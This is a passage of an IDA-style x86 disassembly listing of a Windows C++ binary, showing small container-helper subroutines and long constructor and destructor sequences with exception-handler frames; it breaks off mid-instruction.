mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_4160EA mov edi, esi loc_4160EA: ; CODE XREF: ___:004160E6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416110 proc near ; CODE XREF: sub_401E33j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416110 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416130 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416130 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416150 proc near ; CODE XREF: sub_402144j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416150 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416170 proc near ; CODE XREF: sub_401E97j mov eax, ecx retn sub_416170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416190 proc near ; CODE XREF: sub_401CDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416190 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161C0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018C5 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4161C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161F0 proc near ; CODE XREF: sub_401EC4j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4161F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416220 proc near ; CODE XREF: sub_401D11j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017DF mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DB6 sub_416220 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017DF push edi mov [eax], ebx call sub_4017DF mov edi, [eax] push edi call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017E4 add esp, 4 mov ecx, esi push eax call sub_401E15 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D7A mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4162C0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EBF mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BCC push esi mov ebx, eax call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [ebx] push esi mov [eax], edx call sub_4017DF push esi mov ebx, eax call sub_401BCC mov eax, [eax] push eax call sub_4017DF mov ecx, [ebx] push esi mov [eax], ecx call sub_4017E4 add esp, 1Ch mov ecx, edi push eax call sub_401401 push esi mov ecx, edi call sub_401F14 sub_4162C0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416380 proc near ; CODE XREF: sub_40140Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4163DA loc_416398: ; CODE XREF: sub_416380+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EBF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416398 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4163DA: ; CODE XREF: sub_416380+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416380 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416410 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401EBA sub_416410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416425 mov edi, esi loc_416425: ; CODE XREF: ___:00416421j push esi call sub_401BCC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41643A mov edi, esi loc_41643A: ; CODE XREF: ___:00416436j push esi call sub_4017DF add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416460 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401866 sub_416460 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416480 proc near ; CODE XREF: sub_401BCCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416480 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164A0 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_4164A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164C0 proc near ; CODE XREF: sub_401E42j mov eax, ecx retn sub_4164C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164E0 proc near ; CODE XREF: sub_401D7Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401618 mov eax, esi pop esi retn 4 sub_4164E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416510 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416510 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416540 proc near ; CODE XREF: sub_401456j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416540 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416570 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416570 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416590 proc near ; CODE XREF: sub_4020F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416590 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4165C0 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4165C0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165E0 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4165E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416610 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416610 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416630 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416630 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416650 proc near ; CODE XREF: sub_401A5Fj mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_416650 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416670 proc near ; CODE XREF: sub_40210Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416670 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166A0 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E74 neg al sbb eax, eax inc eax retn 4 sub_4166A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166D0 proc near ; CODE XREF: sub_401C62j mov eax, [ecx] retn sub_4166D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166F0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416710 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416710 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416740 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416740 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416760 proc near ; CODE XREF: sub_4015F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40205E add esp, 8 retn 8 sub_416760 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416790 proc near ; CODE XREF: sub_401D61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416790 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167B0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167D0 proc near ; CODE XREF: sub_401F8Cj mov eax, [ecx] retn sub_4167D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167F0 proc near ; CODE XREF: sub_4017DFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4167F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416810 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416810 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416840 proc near ; CODE XREF: sub_401866j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416840 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416860 proc near ; CODE XREF: sub_401E15j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020EA add esp, 8 retn 8 sub_416860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416890 proc near ; CODE XREF: sub_401401j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416890 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168B0 proc near ; CODE XREF: sub_401618j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4168B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168D0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4168D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168F0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4168F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416920 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41693B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41693B: ; CODE XREF: sub_416920+11j retn sub_416920 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416970 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41698B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41698B: ; CODE XREF: sub_416970+11j retn sub_416970 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4169C0 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4169DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4169DB: ; CODE XREF: sub_4169C0+11j retn sub_4169C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db '',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449128B9h dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 416A7068h, 115CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh) dd 449128B9h, 0B1DEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416A90: ; CODE XREF: ___:00401C58j push 0FFFFFFFFh push offset loc_43B2E1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021FD ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401F00 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_401776 lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_402013 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401E06 lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_401889 lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F46 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B3B lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017DA lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018D9 lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401ECE lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402239 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017AD lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A32 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C5 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401EA1 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014FB lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AFA ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401CA3 ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401938 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_401447 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D00 proc near ; CODE XREF: sub_401A32j push esi mov esi, ecx mov eax, [esi+15h] mov dword ptr [esi], offset off_43F050 test eax, eax jle short loc_416D17 push eax call near ptr 71AB9639h nop loc_416D17: ; CODE XREF: sub_416D00+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D00 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D30 proc near ; CODE XREF: ___:0040126Cj sub_4019CEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A32 test [esp+4+arg_0], 1 jz short loc_416D48 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416D48: ; CODE XREF: sub_416D30+Dj mov eax, esi pop esi retn 4 sub_416D30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416D60 proc near ; CODE XREF: sub_4017ADj push esi mov esi, ecx mov eax, [esi+11h] mov dword ptr [esi], offset off_43F05C test eax, eax jle short loc_416D77 push eax nop call near ptr 71AB9639h loc_416D77: ; CODE XREF: sub_416D60+Ej mov ecx, esi call sub_40204F pop esi retn sub_416D60 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416D90: ; CODE XREF: ___:00401631j ; ___:loc_401CADj push esi mov esi, ecx call sub_4017AD test byte ptr [esp+8], 1 jz short loc_416DA8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DA8: ; CODE XREF: ___:00416D9Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416DC0 proc near ; CODE XREF: sub_401776j mov dword ptr [ecx], offset off_43F068 jmp sub_40204F sub_416DC0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416DE0: ; CODE XREF: ___:loc_401929j ; ___:004021ADj push esi mov esi, ecx call sub_401776 test byte ptr [esp+8], 1 jz short loc_416DF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_416DF8: ; CODE XREF: ___:00416DEDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_401889j mov dword ptr [ecx], offset off_43F074 add ecx, 4 jmp sub_401023 sub_416E10 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_416E30: ; CODE XREF: ___:00401E60j push 0FFFFFFFFh push offset loc_43B4C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_4020BD ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015E6 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_402018 ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401A00 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_401587 lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_40164F lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401780 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_40169F lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_40182F lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016BD lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_40141F lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D25 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A91 lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CB7 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402121 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_40157D lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_401799 lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_40142E lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_40142E lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_40142E lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_40142E lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401B0E ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4170B0 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4170B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B1D sub_4170B0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417120 proc near ; CODE XREF: sub_401938j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_417120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40208B lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40208B lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40208B lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40208B lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40208B mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AE6 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AE6 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AE6 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AE6 lea ecx, [esi+0A04h] mov byte ptr 